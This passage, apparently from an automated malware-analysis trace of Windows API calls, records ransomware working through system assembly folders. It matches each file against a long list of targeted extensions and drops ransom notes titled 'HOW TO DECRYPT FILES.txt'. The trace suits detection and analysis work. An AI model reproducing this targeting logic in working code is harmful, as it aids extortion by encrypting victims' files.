(pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.mpeg") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.djvu") returned 0 [0100.318] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.tiff") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.backup") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.pdf") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.cert") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.docm") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.xlsm") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.dwg") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.nd") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.tlg") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.lgb") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.mov") returned 0 [0100.319] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.xdw") returned 0 [0100.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.ods") returned 0 [0100.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.wav") returned 0 [0100.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.mp3") returned 0 [0100.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.aiff") returned 0 [0100.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.flac") returned 0 [0100.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.m4a") returned 0 [0100.320] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.Resources\\1.0.0.0_en_31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", pszSpec="*.csv") returned 0 [0100.320] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdcf9a66, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xe067905, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xdcf9a66, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.UpdateDiagRootcause.resources.dll", cAlternateFileName="")) returned 0 [0100.320] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.321] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef066a4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef066a4, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="1.0.0.0_en_31bf3856ad364e35", cAlternateFileName="100~1.0_E")) returned 0 [0100.321] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.321] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x65737561, dwReserved1=0x7365722e, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress", cAlternateFileName="MICROS~1.WRI")) returned 1 [0100.321] lstrcmpA (lpString1=".", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress") returned -1 [0100.321] lstrcmpA (lpString1="..", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress") returned -1 [0100.321] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.321] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress" [0100.321] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.322] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.322] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.322] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.322] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.322] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0100.322] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.322] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.322] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\*.*") returned="*.*" [0100.322] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35" [0100.322] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.323] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.323] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x819dda40, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x819dda40, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x819dda40, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.323] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.323] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.323] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb9e1831, ftCreationTime.dwHighDateTime=0x1ca03fe, ftLastAccessTime.dwLowDateTime=0xacec9500, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x579b0f05, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", cAlternateFileName="")) returned 1 [0100.323] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.323] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll") returned -1 [0100.323] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll") returned -1 [0100.323] lstrcmpiA (lpString1="", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll") returned -1 [0100.323] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.323] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\" [0100.323] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\") returned="" [0100.323] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.324] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.writediagprogress\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.324] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\microsoft.windows.diagnosis.commands.writediagprogress\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x90 [0100.325] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0100.327] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0100.327] CloseHandle (hObject=0x90) returned 1 [0100.327] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\", lpString2="Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll") returned="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll" [0100.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.ems") returned 0 [0100.327] lstrlenA (lpString="*.ems") returned 5 [0100.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.db") returned 0 [0100.327] lstrlenA (lpString="*.db") returned 4 [0100.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.dbf") returned 0 [0100.327] lstrlenA (lpString="*.dbf") returned 5 [0100.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.myox") returned 0 [0100.327] lstrlenA (lpString="*.myox") returned 6 [0100.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.myo") returned 0 [0100.327] lstrlenA (lpString="*.myo") returned 5 [0100.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qbw") returned 0 [0100.327] lstrlenA (lpString="*.qbw") returned 5 [0100.327] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qbb") returned 0 [0100.328] lstrlenA (lpString="*.qbb") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qbm") returned 0 [0100.328] lstrlenA (lpString="*.qbm") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qbo") returned 0 [0100.328] lstrlenA (lpString="*.qbo") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qbx") returned 0 [0100.328] lstrlenA (lpString="*.qbx") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qba") returned 0 [0100.328] lstrlenA (lpString="*.qba") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qby") returned 0 [0100.328] lstrlenA (lpString="*.qby") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qbj") returned 0 [0100.328] lstrlenA (lpString="*.qbj") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.ofx") returned 0 [0100.328] lstrlenA (lpString="*.ofx") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.qif") returned 0 [0100.328] lstrlenA (lpString="*.qif") returned 5 [0100.328] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.mye") returned 0 [0100.329] lstrlenA (lpString="*.mye") returned 5 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.mbox") returned 0 [0100.329] lstrlenA (lpString="*.mbox") returned 6 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.eml") returned 0 [0100.329] lstrlenA (lpString="*.eml") returned 5 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.pst") returned 0 [0100.329] lstrlenA (lpString="*.pst") returned 5 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.ost") returned 0 [0100.329] lstrlenA (lpString="*.ost") returned 5 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.idx") returned 0 [0100.329] lstrlenA (lpString="*.idx") returned 5 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.dbx") returned 0 [0100.329] lstrlenA (lpString="*.dbx") returned 5 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.sql") returned 0 [0100.329] lstrlenA (lpString="*.sql") returned 5 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.mdb") returned 0 [0100.329] lstrlenA (lpString="*.mdb") returned 5 [0100.329] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.fdb") returned 0 [0100.329] lstrlenA (lpString="*.fdb") returned 5 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.wab") returned 0 [0100.330] lstrlenA (lpString="*.wab") returned 5 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.dat") returned 0 [0100.330] lstrlenA (lpString="*.dat") returned 5 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.txt") returned 0 [0100.330] lstrlenA (lpString="*.txt") returned 5 [0100.330] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress\\6.1.0.0__31bf3856ad364e35\\Microsoft.Windows.Diagnosis.Commands.WriteDiagProgress.dll", pszSpec="*.jpeg") returned 0 [0100.330] lstrlenA (lpString="*.jpeg") returned 6 [0100.330] PathMatchSpecA 